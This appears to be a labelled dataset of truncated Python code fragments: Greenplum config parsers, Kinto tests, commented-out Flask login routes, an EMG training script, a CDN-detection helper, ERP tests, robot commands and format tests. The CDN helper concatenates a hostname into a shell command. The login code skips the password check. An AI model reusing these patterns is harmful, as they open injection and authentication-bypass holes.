read_to_possibly_bracketed(delimiter, rest): """""" Behave as read_bracketed above when rest starts with a '[', otherwise as read_to_colon. This is intended to support fields which may contain an IPv6 address, an IPv4 address or a hostname. Examples -------- >>> read_to_possibly_bracketed(':', 'abc:def:ghi') ('abc', 'def:ghi', None) >>> read_to_possibly_bracketed(':', '[abc]:def:ghi') ('abc', 'def:ghi', None) >>> read_to_possibly_bracketed(':', '[abc:def]:ghi') ('abc:def', 'ghi', None) >>> read_to_possibly_bracketed(':', '[]:ghi') ('', 'ghi', None) >>> read_to_possibly_bracketed(':', ':ghi') ('', 'ghi', None) >>> read_to_possibly_bracketed(':', '[ghi]') ('ghi', None, None) >>> read_to_possibly_bracketed(':', '[]') ('', None, None) >>> read_to_possibly_bracketed(':', '') ('', None, None) @param delimiter: the delimiter string @param rest: the string to read such as '[abc:def]:ghi' @returns: (before, after, reason) tuple such as ('abc:def', 'ghi', None) """""" if rest.startswith('['): return read_to_bracketed(delimiter, rest) return read_to(delimiter, rest) class LineParser: """""" Manage state to parse a single line, generally from a configuration file with fields delimited by colons. """""" def __init__(self, caller, filename, lineno, line): ""Initialize"" (self.caller, self.filename, self.lineno, self.line, self.rest, self.error) = (caller, filename, lineno, line, line, None) self.logger = logger if logging_is_verbose(): self.logger.debug(""%s:%s"" % (filename, lineno)) def ensure_more_to_process(self, name): ""Raise an exception if we've exhausted the input line"" if self.rest is None: msg = ""out of values (reading %s)"" % name raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (self.filename, self.lineno, self.caller, self.line, msg)) def read_delimited_field(self, delimiter, name=""next field"", reader=read_to): """""" Attempts to read the next field in the line up to the specified delimiter using the specified reading method, raising any error encountered as an exception. Returns the read field when successful. """""" self.ensure_more_to_process(name) value, self.rest, error = reader(delimiter, self.rest) if error is not None: msg = ""%s (reading %s) >>%s"" % (error, name, self.rest) raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (self.filename, self.lineno, self.caller, self.line, msg)) if logging_is_verbose(): self.logger.debug("" name=%-30s delimiter='%s' value=%s"" % (name, delimiter, value)) return value def does_starts_with(self, expected): ""Returns true if line starts with expected value, or return false"" return self.line.startswith(expected) def ensure_starts_with(self, expected): ""Returns true if line starts with expected value, or raise an exception otherwise"" if not self.does_starts_with(expected): msg = ""does not start with %s"" % expected raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (self.filename, self.lineno, self.caller, self.line, msg)) self.rest = self.rest[len(expected):] def handle_field(self, name, dst=None, delimiter=':', stripchars=None): """""" Attempts to read the next field up to a given delimiter. Names starting with '[' indicate that the field should use the bracketed parsing logic. If dst is not none, also assigns the value to dst[name]. If stripchars is not none, value is first stripped of leading and trailing stripchars. """""" if name[0] == '[': name = name.strip('[]') value = self.read_delimited_field(delimiter, name, read_to_possibly_bracketed) else: value = self.read_delimited_field(delimiter, name) if stripchars is not None: value = value.strip(stripchars) if dst is not None: dst[name] = value return value # # file parsing # def line_reader(f): """""" Read the contents of the given input, generating the non-blank non-comment lines found within as a series of tuples of the form (line number, line). >>> [l for l in line_reader(['', '# test', 'abc:def'])] [(3, 'abc:def')] """""" for offset, line in enumerate(f): line = line.strip() if len(line) < 1 or line[0] == '#': continue yield offset+1, line ################ # gpfilespace format # # First line in file is the filespace name, remaining lines are # specify hostname, dbid, and a path: # # filespace:name # hostname:dbid:path # ... ################ def parse_fspacename(filename, lineno, line): """""" Parse the filespace: line which appears at the beginning of the gpfilespace configuration file. >>> parse_fspacename('file', 1, 'filespace:blah') 'blah' """""" p = LineParser(caller(), filename, lineno, line) p.ensure_starts_with('filespace:') fspacename = p.read_delimited_field(':') if p.rest is not None: msg = ""unexpected characters after filespace name >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return fspacename def parse_dfs_url(filename, lineno, line): """""" Parse the filespace: line which appears at the beginning of the gpfilespace configuration file. >>> parse_dfs_url('file', 1, 'dfs_url::localhost:9000/gpsql') 'localhost:9000/gpsql' """""" p = LineParser(caller(), filename, lineno, line) p.ensure_starts_with('dfs_url::') dfs_url = p.read_delimited_field('::') if p.rest is not None: msg = ""unexpected characters after filespace name >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return dfs_url def parse_fspacesys(filename, lineno, line): """""" Pasrse the filesystem name: the optional second line in the gpfilespace configuration file. >>> parse_fspacetype('file', 2, 'fsysname:local|filesystem_name') local|filesystem_name """""" p = LineParser(caller(), filename, lineno, line) if not p.does_starts_with('fsysname:'): return None p.ensure_starts_with('fsysname:') fsysname = p.read_delimited_field(':') if p.rest is not None: msg = ""unexpected characters after filespace type >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return fsysname def parse_fspacereplica(filename, lineno, line): """""" Pasrse the filespace replica: the optional third line in the gpfilespace configuration file. >>> parse_fspacereplica('file', 3, 'fsreplica:repnum') repnum """""" p = LineParser(caller(), filename, lineno, line) if not p.does_starts_with('fsreplica:'): return None p.ensure_starts_with('fsreplica:') fsreplica = p.read_delimited_field(':') if p.rest is not None: msg = ""unexpected characters after filespace replica >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return fsreplica def parse_gpfilespace_line(filename, lineno, line): """""" Parse a line of the gpfilespace configuration file other than the first. >>> parse_gpfilespace_line('file', 1, '[::1]:dbid:path') ('::1', 'dbid', 'path') >>> parse_gpfilespace_line('file', 1, 'host:dbid:path') ('host', 'dbid', 'path') """""" p = LineParser(caller(), filename, lineno, line) host = p.handle_field('[host]') # [host] indicates possible IPv6 address dbid = p.handle_field('dbid') path = p.handle_field('[path]') # url contains the ':'. if p.rest is not None: msg = ""unexpected characters after path name >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return host, dbid, path ################ # gpexpand segment file format: # # Form of file is hostname:address:port:dtadir:dbid:contentId:role[:replicationPort] ################ def parse_gpexpand_segment_line(filename, lineno, line): """""" Parse a line of the gpexpand configuration file. >>> parse_gpexpand_segment_line('file', 1, ""localhost:[::1]:40001:/Users/ctaylor/data/p2/gpseg1:4:1:p"") ('localhost', '::1', '40001', '/Users/ctaylor/data/p2/gpseg1', '4', '1', 'p', None) >>> parse_gpexpand_segment_line('file', 1, ""localhost:[::1]:40001:/Users/ctaylor/data/p2/gpseg1:4:1:p:41001"") ('localhost', '::1', '40001', '/Users/ctaylor/data/p2/gpseg1', '4', '1', 'p', '41001') """""" p = LineParser(caller(), filename, lineno, line) hostname = p.handle_field('[host]') # [host] indicates possible IPv6 address address = p.handle_field('[address]') # [address] indicates possible IPv6 address port = p.handle_field('port') datadir = p.handle_field('datadir') dbid = p.handle_field('dbid') contentId = p.handle_field('contentId') role = p.handle_field('role') replicationPort = None if p.rest is not None: replicationPort = p.handle_field('replicationPort') if p.rest is not None: msg = ""unexpected characters after replicationPort >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return hostname, address, port, datadir, dbid, contentId, role, replicationPort ################ # gpaddmirrors format: # # filespaceOrder=[filespace1_fsname[:filespace2_fsname:...]] # mirror[content]=content:address:port:mir_replication_port:pri_replication_port:fselocation[:fselocation:...] # ################ def parse_filespace_order(filename, lineno, line): """""" Parse the filespaceOrder= line appearing at the beginning of the gpaddmirrors, gpmovemirrors and gprecoverseg configuration files. >>> parse_filespace_order('file', 1, ""filespaceOrder=fs1:fs2:fs3"") ['fs1', 'fs2', 'fs3'] >>> parse_filespace_order('file', 1, ""filespaceOrder="") [] """""" p = LineParser(caller(), filename, lineno, line) p.ensure_starts_with('filespaceOrder=') fslist = [] while p.rest: fslist.append( p.read_delimited_field(':', 'next filespace') ) return fslist def parse_gpaddmirrors_line(filename, lineno, line, fslist): """""" Parse a line in the gpaddmirrors configuration file other than the first. >>> line = ""mirror0=0:[::1]:40001:50001:60001:/Users/ctaylor/data/p2/gpseg1"" >>> fixed, flex = parse_gpaddmirrors_line('file', 1, line, []) >>> fixed[""address""], fixed[""contentId""], fixed[""dataDirectory""] ('::1', '0', '/Users/ctaylor/data/p2/gpseg1') """""" fixed = {} flexible = {} p = LineParser(caller(), filename, lineno, line) p.ensure_starts_with('mirror') p.read_delimited_field('=', 'content id', consume_to) # [address] indicates possible IPv6 address for field in [ 'contentId', '[address]', 'port', 'replicationPort', 'primarySegmentReplicationPort', 'dataDirectory' ]: p.handle_field(field, fixed) for fsname in fslist: p.handle_field('[' + fsname + ']', flexible) return fixed, flexible ################ # gpmovemirrors format: # # This is basically the same as the gprecoverseg format (since gpmovemirrors ultimately just # passes the input file after validating it) but the field names are slightly different. # # filespaceOrder=[filespace1_fsname[:filespace2_fsname:...] # old_address:port:datadir new_address:port:replication_port:datadir[:fselocation:...] # ^ # note space ################ def parse_gpmovemirrors_line(filename, lineno, line, fslist): """""" Parse a line in the gpmovemirrors configuration file other than the first. >>> line = ""[::1]:40001:/Users/ctaylor/data/m2/gpseg1 [::2]:40101:50101:/Users/ctaylor/data/m2/gpseg1:/fs1"" >>> fixed, flex = parse_gpmovemirrors_line('file', 1, line, ['fs1']) >>> fixed[""oldAddress""], fixed[""newAddress""] ('::1', '::2') >>> flex {'fs1': '/fs1'} """""" groups = len(line.split()) if groups != 2: msg = ""need two groups of fields delimited by a space for old and new mirror, not %d"" % groups raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) fixed = {} flexible = {} p = LineParser(caller(), filename, lineno, line) p.handle_field('[oldAddress]', fixed) # [oldAddress] indicates possible IPv6 address p.handle_field('oldPort', fixed) p.handle_field('oldDataDirectory', fixed, delimiter=' ', stripchars=' \t') # MPP-15675 note stripchars here and next line p.handle_field('[newAddress]', fixed, stripchars=' \t') # [newAddress] indicates possible IPv6 address p.handle_field('newPort', fixed) p.handle_field('newReplicationPort', fixed) p.handle_field('newDataDirectory', fixed) for fsname in fslist: p.handle_field(fsname, flexible) if p.rest is not None: msg = ""unexpected characters after mirror fields >>%s"" % p.rest raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) return fixed, flexible ################ # gprecoverseg format: # # filespaceOrder=[filespace1_fsname[:filespace2_fsname:...]] # failed_host_address:port:datadir [recovery_host_address:port:replication_port:datadir[:fselocation:...]] # ^ # note space # # filespace locations are only present at the end of the other fields when there # are two groups of fields separated by a space. If there is only one group of # fields then we assume the entire line is only three fields as below with no # filespace locations: # # failed_host_address:port:datadir ################ def parse_gprecoverseg_line(filename, lineno, line, fslist): """""" Parse a line in the gprecoverseg configuration file other than the first. >>> line = ""[::1]:40001:/Users/ctaylor/data/m2/gpseg1"" >>> fixed, flex = parse_gprecoverseg_line('file', 1, line, []) >>> fixed[""failedAddress""], fixed[""failedPort""], fixed[""failedDataDirectory""] ('::1', '40001', '/Users/ctaylor/data/m2/gpseg1') >>> line = ""[::1]:40001:/Users/ctaylor/data/m2/gpseg1 [::2]:40101:50101:/Users/ctaylor/data/m2/gpseg1:/fs1"" >>> fixed, flex = parse_gprecoverseg_line('file', 1, line, ['fs1']) >>> fixed[""newAddress""], fixed[""newPort""], fixed[""newReplicationPort""], fixed[""newDataDirectory""] ('::2', '40101', '50101', '/Users/ctaylor/data/m2/gpseg1') >>> flex {'fs1': '/fs1'} """""" groups = len(line.split()) if groups not in [1, 2]: msg = ""only one or two groups of fields delimited by a space, not %d"" % groups raise ExceptionNoStackTraceNeeded(""%s:%s:%s LINE >>%s\n%s"" % (filename, lineno, caller(), line, msg)) fixed = {} flexible = {} p = LineParser(caller(), filename, lineno, line) p.handle_field('[failedAddress]', fixed) # [failedAddress] indicates possible IPv6 address p.handle_field('failedPort', fixed) if groups == 1: p.handle_field('failedDataDirectory', fixed) else: p.handle_field('failedDataDirectory', fixed, delimiter=' ', stripchars=' \t') # MPP-15675 note stripchars here and next line p.handle_field('[newAddress]', fixed, stripchars=' \t') # [newAddress] indicates possible IPv6 address p.handle_field('newPort', fixed) p.handle_field('newReplicationPort', fixed) p.handle_field('newDataDirectory', fixed) for fsname in fslist: p.handle_field('[' + fsname + ']', flexible) return fixed, flexible if __name__ == '__main__': import doctest doctest.testmod() ",1 "__version__ class ConfigTest(unittest.TestCase): def test_transpose_parameters_into_template(self): self.maxDiff = None template = ""kinto.tpl"" dest = tempfile.mktemp() config.render_template(template, dest, secret='secret', storage_backend='storage_backend', cache_backend='cache_backend', permission_backend='permission_backend', storage_url='storage_url', cache_url='cache_url', permission_url='permission_url', kinto_version='kinto_version', config_file_timestamp='config_file_timestamp') with codecs.open(dest, 'r', encoding='utf-8') as d: destination_temp = d.read() sample_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), ""test_configuration/test.ini"") with codecs.open(sample_path, 'r', encoding='utf-8') as c: sample = c.read() self.assertEqual(destination_temp, sample) def test_create_destination_directory(self): dest = os.path.join(tempfile.mkdtemp(), 'config', 'kinto.ini') config.render_template(""kinto.tpl"", dest, secret='secret', storage_backend='storage_backend', cache_backend='cache_backend', permission_backend='permission_backend', storage_url='storage_url', cache_url='cache_url', permission_url='permission_url', kinto_version='kinto_version', config_file_timestamp='config_file_timestamp') self.assertTrue(os.path.exists(dest)) @mock.patch('kinto.config.render_template') def test_hmac_secret_is_text(self, mocked_render_template): config.init('kinto.ini', 'postgresql') args, kwargs = list(mocked_render_template.call_args) self.assertEquals(type(kwargs['secret']), six.text_type) @mock.patch('kinto.config.render_template') def test_init_postgresql_values(self, mocked_render_template): config.init('kinto.ini', 'postgresql') args, kwargs = list(mocked_render_template.call_args) self.assertEquals(args, ('kinto.tpl', 'kinto.ini')) postgresql_url = ""postgres://postgres:postgres@localhost/postgres"" self.assertDictEqual(kwargs, { 'secret': kwargs['secret'], 'storage_backend': 'kinto.core.storage.postgresql', 'cache_backend': 'kinto.core.cache.postgresql', 'permission_backend': 'kinto.core.permission.postgresql', 'storage_url': postgresql_url, 'cache_url': postgresql_url, 'permission_url': postgresql_url, 'kinto_version': __version__, 'config_file_timestamp': strftime('%a, %d %b %Y %H:%M:%S %z') }) @mock.patch('kinto.config.render_template') def test_init_redis_values(self, mocked_render_template): config.init('kinto.ini', 'redis') args, kwargs = list(mocked_render_template.call_args) self.assertEquals(args, ('kinto.tpl', 'kinto.ini')) redis_url = ""redis://localhost:6379"" self.maxDiff = None # See the full diff in case of error self.assertDictEqual(kwargs, { 'secret': kwargs['secret'], 'storage_backend': 'kinto_redis.storage', 'cache_backend': 'kinto_redis.cache', 'permission_backend': 'kinto_redis.permission', 'storage_url': redis_url + '/1', 'cache_url': redis_url + '/2', 'permission_url': redis_url + '/3', 'kinto_version': __version__, 'config_file_timestamp': strftime('%a, %d %b %Y %H:%M:%S %z') }) @mock.patch('kinto.config.render_template') def test_init_memory_values(self, mocked_render_template): config.init('kinto.ini', 'memory') args, kwargs = list(mocked_render_template.call_args) self.assertEquals(args, ('kinto.tpl', 'kinto.ini')) self.assertDictEqual(kwargs, { 'secret': kwargs['secret'], 'storage_backend': 'kinto.core.storage.memory', 'cache_backend': 'kinto.core.cache.memory', 'permission_backend': 'kinto.core.permission.memory', 'storage_url': '', 'cache_url': '', 'permission_url': '', 'kinto_version': __version__, 'config_file_timestamp': strftime('%a, %d %b %Y %H:%M:%S %z') }) def test_render_template_creates_directory_if_necessary(self): temp_path = tempfile.mkdtemp() destination = os.path.join(temp_path, 'config/kinto.ini') config.render_template('kinto.tpl', destination, **{ 'secret': ""abcd-ceci-est-un-secret"", 'storage_backend': 'kinto.core.storage.memory', 'cache_backend': 'kinto.core.cache.memory', 'permission_backend': 'kinto.core.permission.memory', 'storage_url': '', 'cache_url': '', 'permission_url': '', 'kinto_version': '', 'config_file_timestamp': '' }) self.assertTrue(os.path.exists(destination)) def test_render_template_works_with_file_in_cwd(self): temp_path = tempfile.mkdtemp() os.chdir(temp_path) config.render_template('kinto.tpl', 'kinto.ini', **{ 'secret': ""abcd-ceci-est-un-secret"", 'storage_backend': 'kinto.core.storage.memory', 'cache_backend': 'kinto.core.cache.memory', 'permission_backend': 'kinto.core.permission.memory', 'storage_url': '', 'cache_url': '', 'permission_url': '', 'kinto_version': '', 'config_file_timestamp': '' }) self.assertTrue(os.path.exists( os.path.join(temp_path, 'kinto.ini') )) ",1 " redirect, flash, request #from flask_login import login_user, logout_user, login_required #from automate.server import bcrypt, db #from automate.server import db #from automate.server.models import User #from automate.server.user.forms import LoginForm, RegisterForm ################ #### config #### ################ #user_blueprint = Blueprint('user', __name__,) ################ #### routes #### ################ #@user_blueprint.route('/register', methods=['GET', 'POST']) #def register(): # form = RegisterForm(request.form) # if form.validate_on_submit(): # user = User( # email=form.email.data, # password=form.password.data # ) # db.session.add(user) # db.session.commit() # # login_user(user) # # flash('Thank you for registering.', 'success') # return redirect(url_for(""user.members"")) # # return render_template('user/register.html', form=form) # # #@user_blueprint.route('/login', methods=['GET', 'POST']) #def login(): # form = LoginForm(request.form) # if form.validate_on_submit(): # user = User.query.filter_by(email=form.email.data).first() # if user: # #if user and bcrypt.check_password_hash( # # user.password, request.form['password']): # # login_user(user) # flash('You are logged in. Welcome!', 'success') # return redirect(url_for('user.members')) # else: # flash('Invalid email and/or password.', 'danger') # return render_template('user/login.html', form=form) # return render_template('user/login.html', title='Please Login', form=form) # # #@user_blueprint.route('/logout') #@login_required #def logout(): # logout_user() # flash('You were logged out. Bye!', 'success') # return redirect(url_for('main.home')) # # #@user_blueprint.route('/members') #@login_required #def members(): # return render_template('user/members.html') #",1 "Networks/autoencoder.py # The model trained here is restored in load.py from __future__ import division, print_function, absolute_import # Import MNIST data # from tensorflow.examples.tutorials.mnist import input_data # data_set = input_data.read_data_sets(""/tmp/data/"", one_hot=True) # Import libraries import tensorflow as tf import numpy as np import matplotlib.pyplot as plt import sys import scipy.io as sio sys.path.insert(0, '../..') # Add path to where TF_Model.py is, if not in the same dir from TF_Model import * from utils import * # 01 thumb # 10 pinky action_map = {} action_map[1] = [0,1] action_map[2] = [1,0] # thumb up mat_contents_t0 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_pinky_Jan5_0.mat') mat_contents_t1 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_pinky_Jan5_1.mat') mat_contents_test0 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_pinky_jan5_2.mat') data_t0 = mat_contents_t0['EMGdata'] data_t1 = mat_contents_t1['EMGdata'] data_test0 = mat_contents_test0['EMGdata'] batch_y_t0, batch_x_t0 = get_batch_from_raw_data_new_format(data_t0, action_map, [0]) batch_y_t1, batch_x_t1 = get_batch_from_raw_data_new_format(data_t1, action_map, [0]) batch_y_test0, batch_x_test0 = get_batch_from_raw_data_new_format(data_test0, action_map, [0]) # pinky up mat_contents_p0 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_thumb_Jan5_0.mat') mat_contents_p1 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_thumb_Jan5_1.mat') mat_contents_test1 = sio.loadmat('/home/linda/school/capstone/data/set2_new_format/EMGjan5/Fred_thumb_Jan5_2.mat') data_p0 = mat_contents_p0['EMGdata'] data_p1 = mat_contents_p1['EMGdata'] data_test1 = mat_contents_test1['EMGdata'] batch_y_p0, batch_x_p0 = get_batch_from_raw_data_new_format(data_p0, action_map, [0]) batch_y_p1, batch_x_p1 = get_batch_from_raw_data_new_format(data_p1, action_map, [0]) batch_y_test1, batch_x_test1 = get_batch_from_raw_data_new_format(data_test1, action_map, [0]) print(""done reading data"") # Create TF_Model, a wrapper for models created using tensorflow # Note that the configuration file 'config.txt' must be present in the directory model = TF_Model('model') # Parameters learning_rate = 0.05 training_epochs = 200 batch_size = 256 display_step = 1 examples_to_show = 10 # total_batch = int(data_set.train.num_examples/batch_size) dropout = tf.placeholder(tf.float32) # Create variables for inputs, outputs and predictions x = tf.placeholder(tf.float32, [None, 1000]) y = tf.placeholder(tf.float32, [None, 2]) y_true = y y_pred = model.predict(x) # Cost function cost = tf.reduce_mean(tf.pow(y_true - y_pred, 2)) optimizer = tf.train.RMSPropOptimizer(learning_rate).minimize(cost) # Initializing the variables init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) model_output = model.predict(x) cross_entropy = tf.reduce_mean(-tf.reduce_sum(y * tf.log(model_output), reduction_indices=[1])) train_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy) correct_prediction = tf.equal(tf.argmax(model_output,1), tf.argmax(y,1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) # Train for epoch in range(training_epochs): _, c = sess.run([optimizer, cost], feed_dict={x: batch_x_t0, y: batch_y_t0}) _, c = sess.run([optimizer, cost], feed_dict={x: batch_x_t1, y: batch_y_t1}) _, c = sess.run([optimizer, cost], feed_dict={x: batch_x_p0, y: batch_y_p0}) _, c = sess.run([optimizer, cost], feed_dict={x: batch_x_p1, y: batch_y_p1}) # Display logs per epoch step print(""Epoch:"", '%04d' % (epoch+1), ""cost="", ""{:.9f}"".format(c)) print(sess.run(accuracy, feed_dict={x: batch_x_test0, y: batch_y_test0})) print(sess.run(accuracy, feed_dict={x: batch_x_test1, y: batch_y_test1})) print(""===final==="") print(sess.run(accuracy, feed_dict={x: batch_x_test0, y: batch_y_test0})) print(sess.run(accuracy, feed_dict={x: batch_x_test1, y: batch_y_test1})) # Save model.save(sess, 'example_3') ",1 "n_info >= (3, 0): import subprocess as commands import urllib.parse as urlparse else: import commands import urlparse def detect(hostname): """""" Performs CDN detection thanks to information disclosure from server error. Parameters ---------- hostname : str Hostname to assess """""" print('[+] Error server detection\n') hostname = urlparse.urlparse(hostname).netloc regexp = re.compile('\\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\\b') out = commands.getoutput(""host "" + hostname) addresses = regexp.finditer(out) for addr in addresses: res = request.do('http://' + addr.group()) if res is not None and res.status_code == 500: CDNEngine.find(res.text.lower()) ",1 "orePaths = buildPaths() findTxt = lambda x, y: x.find(y) > -1 assert findTxt(recPaths[""Task""][0], ""base"") assert findTxt(recPaths[""Department""][0], ""StdPy"") assert findTxt(recPaths[""Department""][1], ""standard"") assert findTxt(repPaths[""ListWindowReport""][0], ""base"") assert findTxt(repPaths[""ExpensesList""][0], ""StdPy"") assert findTxt(repPaths[""ExpensesList""][1], ""standard"") assert findTxt(rouPaths[""GenNLT""][0], ""StdPy"") assert findTxt(rouPaths[""GenNLT""][1], ""standard"") assert findTxt(corePaths[""Field""][0], ""embedded"") self.assertFalse([k for (k, v) in rouPaths.iteritems() if findTxt(v[0], ""base"")]) #no routines in base def test_recordInheritance(self): recf, recd = getRecordInheritance(""Invoice"") assert all([f1 in recf for f1 in (""SalesMan"", ""InvoiceDate"", ""CustCode"", ""Currency"", ""ShiftDate"", ""OriginNr"", ""SerNr"", ""attachFlag"")]) assert all([d in recd for d in (""CompoundItemCosts"", ""Payments"", ""Items"", ""Taxes"", ""Installs"")]) recf, recd = getRecordInheritance(""AccessGroup"") assert all([f2 in recf for f2 in (""PurchaseItemsAccessType"", ""InitialModule"", ""Closed"", ""internalId"")]) assert all([d in recd for d in (""PurchaseItems"", ""Customs"", ""Modules"")]) def test_recordsInfo(self): recf, recd = getRecordsInfo(""Department"", RECORD) assert recf[""Department""][""AutoCashCancel""] == ""integer"" #From StdPy assert recf[""Department""][""DeptName""] == ""string"" #From standard assert recf[""Department""][""Closed""] == ""Boolean"" #From Master assert recf[""Department""][""internalId""] == ""internalid"" #From Record assert recd[""Department""][""OfficePayModes""] == ""DepartmentOfficePayModeRow"" #Recordname from detail repf, repd = getRecordsInfo(""Balance"", REPORT) assert repf[""Balance""][""LabelType""] == ""string"" #StdPy assert repf[""Balance""][""ExplodeByLabel""] == ""boolean"" #Standard assert repf[""Balance""][""internalId""] == ""internalid"" #Record assert not repd[""Balance""] #Empty dict, no detail rouf, roud = getRecordsInfo(""GenNLT"", ROUTINE) assert rouf[""GenNLT""][""ExcludeInvalid""] == ""boolean"" assert rouf[""GenNLT""][""Table""] == ""string"" assert not roud[""GenNLT""] rouf, roud = getRecordsInfo(""LoginDialog"", RECORD) assert rouf[""LoginDialog""][""Password""] == ""string"" #embedded assert not roud[""LoginDialog""] def test_classInfo(self): attr, meth = getClassInfo(""Invoice"") assert attr[""DEBITNOTE""] == 2 assert attr[""ATTACH_NOTE""] == 3 assert attr[""rowNr""] == 0 assert attr[""ParentInvoice""] == ""SuperClass"" assert isinstance(attr[""DocTypes""], list) assert isinstance(attr[""Origin""], dict) assert all([m in meth for m in (""getCardReader"", ""logTransactionAction"", ""updateCredLimit"", ""generateTaxes"", ""roundValue"", ""getOriginType"", ""bring"", ""getXML"", ""createField"")]) assert meth[""fieldIsEditable""][0] == ""self"" assert meth[""fieldIsEditable""][1] == ""fieldname"" assert meth[""fieldIsEditable""][2] == {""rowfieldname"":'None'} assert meth[""fieldIsEditable""][3] == {""rownr"":'None'} attr, meth = getClassInfo(""User"") assert attr[""buffer""] == ""RecordBuffer"" assert all([m in meth for m in (""store"", ""save"", ""load"", ""hasField"")]) def test_suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestFuncs)) return suite if __name__ == '__main__': unittest.main(defaultTest='test_suite') ",1 " self.name = 'unknown' self.m = movement def execute(selfself):pass class Forward(BaseCommand): def __init__(self, movement): assert isinstance(movement, Movement) self.name = 'forward' self.m = movement def execute(self): self.m.moveCM(10) class Reverse(BaseCommand): def __init__(self, movement): assert isinstance(movement, Movement) self.name = 'reverse' self.m = movement def execute(self): self.m.moveCM(10) class Left(BaseCommand): def __init__(self, movement): assert isinstance(movement, Movement) self.name = 'left' self.m = movement def execute(self): self.m.turnDegrees(-90) class Right(BaseCommand): def __init__(self, movement): assert isinstance(movement, Movement) self.name = 'right' self.m = movement def execute(self): self.m.turnDegrees(90) ",1 "f test(fmt, *args): print('{:8s}'.format(fmt) + '>' + fmt.format(*args) + '<') test(""}}{{"") test(""{}-{}"", 1, [4, 5]) test(""{0}-{1}"", 1, [4, 5]) test(""{1}-{0}"", 1, [4, 5]) test(""{:x}"", 1) test(""{!r}"", 2) test(""{:x}"", 0x10) test(""{!r}"", ""foo"") test(""{!s}"", ""foo"") test(""{0!r:>10s} {0!s:>10s}"", ""foo"") test(""{:4b}"", 10) test(""{:4c}"", 48) test(""{:4d}"", 123) test(""{:4n}"", 123) test(""{:4o}"", 123) test(""{:4x}"", 123) test(""{:4X}"", 123) test(""{:4,d}"", 12345678) test(""{:#4b}"", 10) test(""{:#4o}"", 123) test(""{:#4x}"", 123) test(""{:#4X}"", 123) test(""{:#4d}"", 0) test(""{:#4b}"", 0) test(""{:#4o}"", 0) test(""{:#4x}"", 0) test(""{:#4X}"", 0) test(""{:<6s}"", ""ab"") test(""{:>6s}"", ""ab"") test(""{:^6s}"", ""ab"") test(""{:.1s}"", ""ab"") test(""{: <6d}"", 123) test(""{: <6d}"", -123) test(""{:0<6d}"", 123) test(""{:0<6d}"", -123) test(""{:@<6d}"", 123) test(""{:@<6d}"", -123) test(""{:@< 6d}"", 123) test(""{:@< 6d}"", -123) test(""{:@<+6d}"", 123) test(""{:@<+6d}"", -123) test(""{:@<-6d}"", 123) test(""{:@<-6d}"", -123) test(""{:@>6d}"", -123) test(""{:@<6d}"", -123) test(""{:@=6d}"", -123) test(""{:06d}"", -123) test(""{:>20}"", ""foo"") test(""{:^20}"", ""foo"") test(""{:<20}"", ""foo"") # nested format specifiers print(""{:{}}"".format(123, '#>10')) print(""{:{}{}{}}"".format(123, '#', '>', '10')) print(""{0:{1}{2}}"".format(123, '#>', '10')) print(""{text:{align}{width}}"".format(text=""foo"", align=""<"", width=20)) print(""{text:{align}{width}}"".format(text=""foo"", align=""^"", width=10)) print(""{text:{align}{width}}"".format(text=""foo"", align="">"", width=30)) print(""{foo}/foo"".format(foo=""bar"")) print(""{}"".format(123, foo=""bar"")) print(""{}-{foo}"".format(123, foo=""bar"")) def test_fmt(conv, fill, alignment, sign, prefix, width, precision, type, arg): fmt = '{' if conv: fmt += '!' fmt += conv fmt += ':' if alignment: fmt += fill fmt += alignment fmt += sign fmt += prefix fmt += width if precision: fmt += '.' fmt += precision fmt += type fmt += '}' test(fmt, arg) if fill == '0' and alignment == '=': fmt = '{:' fmt += sign fmt += prefix fmt += width if precision: fmt += '.' fmt += precision fmt += type fmt += '}' test(fmt, arg) int_nums = (-1234, -123, -12, -1, 0, 1, 12, 123, 1234, True, False) int_nums2 = (-12, -1, 0, 1, 12, True, False) if full_tests: for type in ('', 'b', 'd', 'o', 'x', 'X'): for width in ('', '1', '3', '5', '7'): for alignment in ('', '<', '>', '=', '^'): for fill in ('', ' ', '0', '@'): for sign in ('', '+', '-', ' '): for prefix in ('', '#'): for num in int_nums: test_fmt('', fill, alignment, sign, prefix, width, '', type, num) if full_tests: for width in ('', '1', '2'): for alignment in ('', '<', '>', '^'): for fill in ('', ' ', '0', '@'): test_fmt('', fill, alignment, '', '', width, '', 'c', 48) if full_tests: for conv in ('', 'r', 's'): for width in ('', '1', '4', '10'): for alignment in ('', '<', '>', '^'): for fill in ('', ' ', '0', '@'): for str in ('', 'a', 'bcd', 'This is a test with a longer string'): test_fmt(conv, fill, alignment, '', '', width, '', 's', str) # tests for errors in format string try: 